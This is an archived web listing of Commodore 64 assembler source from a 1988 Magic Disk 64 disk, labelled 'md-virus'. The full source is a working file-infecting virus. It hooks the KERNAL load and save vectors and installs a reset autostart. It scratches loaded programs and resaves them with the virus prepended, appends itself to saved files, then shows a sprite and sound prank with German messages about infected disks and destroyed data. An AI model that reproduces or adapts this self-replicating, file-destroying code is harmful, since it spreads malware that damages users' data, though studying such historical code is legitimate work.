home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Magic Disk 64
/
Magic_Disk_64_88-08_1988_-_de_Side_B.d64
/
mdv-source.asc
< prev
next >
Wrap
Text File
|
2023-02-26
|
11KB
|
5 lines
ready.
10 -.ba $cbaf
20 -;
21 -.eq status=$90
30 -.eq savecont=$f624
40 -.eq filelo=$bb
50 -.eq filehi=$bc
60 -.eq fileleng=$b7
70 -.eq setpar=$ffba
80 -.eq setnam=$ffbd
90 -.eq open=$ffc0
100 -.eq close=$ffc3
110 -.eq savecbm=$ffd8
120 -.eq strout=$ab1e
121 -.eq bsout=$ffd2
122 -;***
124 -.eq sid=54272
125 -.eq crsrflag=204
126 -.eq crsrline=214
127 -.eq vic=$d000
130 -;***
131 -.eq frqlo=data-1
132 -.eq frqhi=data-2
133 -.eq countlo=data-3
134 -.eq counthi=data-4
135 -.eq counter=data-5
136 -.eq lengnam=data-6
137 -.eq realend=ende-data+$0801
139 -;********************************
140 -data .by $15,$08,$0a,$00,$9e
150 -.tx "2071:md-virus!"
160 -.by 0,0,0
170 -;********************************
180 -copyup lda #$37
190 - sta $01
200 - ldx #$01
210 - ldy #$08
220 - stx $5f
230 - sty $60
240 - ldx #<(realend)
250 - ldy #>(realend)
260 - stx $5a
270 - sty $5b
280 - ldx #$f0
290 - ldy #$cf
300 - stx $58
310 - sty $59
320 - jsr $a3bf
330 - jmp start
340 -;*******************************
350 -start lda #$36
360 - sta $01
370 -;
371 - ldx #01
372 - ldy #08
373 - stx lab5+1
374 - sty lab5+2
380 - ldx #<(realend)
390 - ldy #>(realend)
400 - stx $fb
410 - sty $fc
420 - ldx $ae
421 - ldy $af
423 - stx $f9
424 - sty $fa
460 -;
470 - ldy #00
475 - ldx #00
480 -loop8 lda ($fb),y
490 -lab5 sta $0801,x
500 - inx
510 - bne lab4
520 - inc lab5+2
530 -lab4 jsr inccount
540 - bcc loop8
640 -;
660 - ldy lab5+2
670 - stx $ae
680 - sty $af
690 - stx $2d
700 - sty $2e
710 -;
720 - lda #$37
730 - sta $01
740 -;
750 - jsr init
760 - jsr $a659
770 - jmp $a7ae
780 -;********************************
840 -restore jsr $fd15
850 - jsr $fda3
860 - jsr $e518
870 - jsr init2
880 - jmp ($a002)
890 -;********************************
900 -save1 jmp save
910 -;********************************
930 -reset stx $d016
940 - jsr $fda3
950 - jsr $fd50
960 - jsr $fd15
970 - jsr $ff5b
980 - cli
990 - jsr init2
1000 - jmp ($a000)
1010 -;********************************
1020 -load pha
1030 - lda filelo
1040 - sta $fb
1050 - lda filehi
1060 - sta $fc
1070 - ldy fileleng
1080 - sty lengnam
1090 -loop2 lda ($fb),y
1100 - sta namebuff+2,y
1110 - dey
1120 - bpl loop2
1130 - pla
1140 -;
1150 - sta $93
1160 - lda #$00
1170 - sta $90
1180 - lda $ba
1190 - bne xf4b2
1200 -xf4af jmp $f713
1210 -xf4b2 cmp #$03
1220 - beq xf4af
1230 - bcc xf533
1240 -;
1250 - ldy $b7
1260 - bne xf4bf
1270 - jmp $f710
1280 -xf4bf ldx $b9
1290 - jsr $f5af
1300 - lda #$60
1310 - sta $b9
1320 - jsr $f3d5
1330 - lda $ba
1340 - jsr $ed09
1350 - lda $b9
1360 - jsr $edc7
1370 - jsr $ee13
1380 - sta $ae
1390 -;
1400 - cmp #01
1410 - bne cbmload1
1420 -;
1430 - lda $90
1440 - lsr
1450 - lsr
1460 - bcs loaderror
1470 - jsr $ee13
1480 - sta $af
1490 -;
1500 - cmp #08
1510 - bne cbmload2
1520 - jsr $f4e5
1530 - bcc inftest
1540 - rts
1550 -;********************************
1560 -loaderror jmp $f704
1570 -xf533 jmp $f533
1580 -cbmload1 jmp $f4da
1590 -cbmload2 jmp $f4e5
1600 -;********************************
1610 -inftest ldy #17
1620 -loop7 lda $0801,y
1630 - cmp data,y
1640 - bne scratch
1650 - dey
1660 - bpl loop7
1670 - jmp ($a002)
1680 -;
1700 -scratch lda #01
1710 - ldx #08
1720 - ldy #15
1730 - jsr setpar
1740 - lda lengnam
1750 - clc
1760 - adc #02
1770 - ldx #<(namebuff)
1780 - ldy #>(namebuff)
1790 - jsr setnam
1800 - jsr open
1810 - lda #01
1820 - jsr close
1830 -;
1840 - ldy lengnam
1850 - lda namebuff+1,y
1860 - cmp #"*"
1870 - bne cont
1880 - dey
1890 -;
1920 -cont tya
1930 - ldx #<(namebuff)+2
1940 - ldy #>(namebuff)
1950 - jsr setnam
1951 - ldx #08
1952 - jsr setpar
1960 - ldx #01
1970 - ldy #08
1980 - stx $c1
1990 - sty $c2
2000 - ldx #00
2010 - jsr save
2020 - jmp saveerror
2071 -;********************************
2072 -init lda #01
2073 - sta copy
2080 -init2 ldy #03
2090 -loop3 lda tab,y
2100 - sta $0330,y
2110 - dey
2120 - bpl loop3
2130 -;
2140 - ldy #08
2150 -loop4 lda cbm,y
2160 - sta $8000,y
2170 - dey
2180 - bpl loop4
2190 -;
2200 - rts
2201 -;********************************
2202 -xf659 jmp $f659
2203 -copy .by 0
2210 -;********************************
2211 -saveerror lda status
2212 - bne shit
2213 - rts
2215 -shit lda #<(errortext)
2216 - ldy #>(errortext)
2217 - jmp strout
2218 -;********************************
2220 -save lda $ba
2230 - bne xf5f4
2240 -xf5f1 jmp $f713
2250 -xf5f4 cmp #$03
2260 - beq xf5f1
2270 - bcc xf659
2280 -;
2290 - lda #$61
2300 - sta $b9
2310 - ldy $b7
2320 - bne xf605
2330 - jmp $f710
2340 -xf605 cpx #00
2350 - beq nosaving
2360 - jsr $f68f
2370 -nosaving jsr $f3d5
2380 - lda $ba
2390 - jsr $ed0c
2400 - lda $b9
2410 - jsr $edb9
2420 - ldy #$00
2430 - jsr $fb8e
2440 - lda $ac
2450 - cmp #01
2460 - beq lab1
2470 - ldy #01
2480 -lab1 jsr $eddd
2490 - lda $ad
2500 - cmp #08
2510 - beq lab2
2520 - ldy #01
2530 -lab2 jsr $eddd
2540 -;
2550 - cpy #01
2560 - bne virusok
2570 - ldy #00
2580 - jmp savecont
2590 -;
2600 -virusok lda #<(data)
2610 - sta $fb
2620 - lda #>(data)
2630 - sta $fc
2640 - lda #<(ende)
2650 - sta $f9
2660 - lda #>(ende)
2670 - sta $fa
2680 -;
2690 - ldy #00
2700 -loop lda ($fb),y
2710 - jsr $eddd
2720 - jsr inccount
2730 - bcc loop
2800 -;
2810 - jsr savecont
2812 - jsr saveerror
2820 -;
2830 - asl copy
2840 - bcs gag
2850 - rts
2860 -;********************************
5060 -gag ldx #00
5070 - stx crsrflag
5080 - stx $d020
5090 - stx $d021
5100 - stx countlo
5110 - inx
5120 - stx 646
5130 - stx vic+21
5140 -;
5150 - lda #12
5160 - sta vic+39
5170 - lda #24
5180 - sta vic
5190 - lda #27
5200 - sta vic+1
5210 - lda #13
5220 - sta 2040
5230 -;
5240 - ldy #12
5250 - lda #00
5260 -sloop4 sta 832,y
5270 - dey
5280 - bpl sloop4
5290 -;
5300 - ldy #50
5310 -sloop3 lda sprdat,y
5320 - sta 845,y
5330 - dey
5340 - bpl sloop3
5350 -;
5351 - lda #13
5352 - jsr bsout
5360 - lda #32
5370 - jsr bsout
5380 -;********************************
5390 -calc lda crsrline
5400 - clc
5410 - adc #03
5420 - lsr
5430 - ror countlo
5440 - clc
5450 - adc #$60
5460 - sta counthi
5470 -;********************************
5480 -sound lda #15
5490 - sta sid+24
5500 - sta counter
5510 - ldx #01
5520 - ldy #$78
5530 - stx sid
5540 - sty sid+1
5550 - stx frqlo
5560 - sty frqhi
5570 - ldx #$e0
5580 - ldy #$f0
5590 - stx sid+5
5600 - sty sid+6
5610 - lda #33
5620 - sta sid+4
5630 -;
5640 -sloop2 ldy #01
5650 - jsr wait
5660 - dec frqlo
5670 - bne sl1
5680 - dec frqhi
5690 -;***
5700 -sl1 lda counthi
5710 - cmp frqhi
5720 - bcc sl5
5730 - bne sl6
5740 - lda countlo
5750 - cmp frqlo
5760 - bcc sl5
5770 -sl6 dec counter
5780 - bpl sl5
5790 - inc vic+1
5800 - lda #15
5810 - sta counter
5820 -;***
5830 -sl5 lda frqhi
5840 - cmp #$60
5850 - beq bye
5860 - sta sid+1
5870 - lda frqlo
5880 - sta sid
5890 - jmp sloop2
5900 -;
5910 -bye sty sid+4
5920 - sty sid+24
5930 - lda #"{CBM-P}"
5940 - jsr bsout
5950 - sta crsrflag
5960 - ldy #$ff
5970 - jsr wait
5980 - sty vic+21
5990 - lda #<(warning)
6000 - ldy #>(warning)
6010 - jsr strout
6020 - jmp init
8000 -;********************************
8010 -wait ldx #00
8020 -sloop1 dex
8030 - bne sloop1
8040 - dey
8050 - bne sloop1
8060 - rts
8070 -;********************************
8210 -inccount inc $fb
8220 - bne lab3
8230 - inc $fc
8240 -lab3 lda $fb
8250 - cmp $f9
8260 - bne weiter
8270 - lda $fc
8280 - cmp $fa
8290 - bne weiter
8310 - sec
8320 - rts
8330 -;
8340 -weiter clc
8350 - rts
10000-;********************************
10010-sprdat .by 124,0,0,198,0,0,198,0,0,108,0,31,255,248
10020-.by 31,177,248,31,183,248,63,177,252,63,181,252,63,177,252,63,255,252,113
10030-.by 22,142,123,82,190,123,84,142,251,84,239,251,22,143,255,255,255,255
10040-;********************************
10050-cbm .wo reset,restore
10060- .tx "CBM80"
10070-tab .wo load,save
10075-errortext .by 13
10080-.tx "Der MagicDisk-Virus ist in diesem"
10081-.by13
10090-.tx "C64 !!! Soeben wurden Daten zerstoert !"
10091-.by13
10100-.tx "Bitte Programm auf einer anderen Disk"
10101-.by13
10110-.tx "abspeichern !!!"
10120-.by 13,14,0
10130-;********************************
10135-warning .by 13
10140-.tx "Hallo du ! Dein 64er lebt ! Ein paar von"
10141-.by13
10150-.tx "deinen Disketten wurden infiziert mit"
10151-.by13
10160-.tx"dem MagicDisk-Virus..."
10170-.by 13,14,0
10180-;********************************
10190-namebuff .tx "s:"
10200-ende .by 0
ready.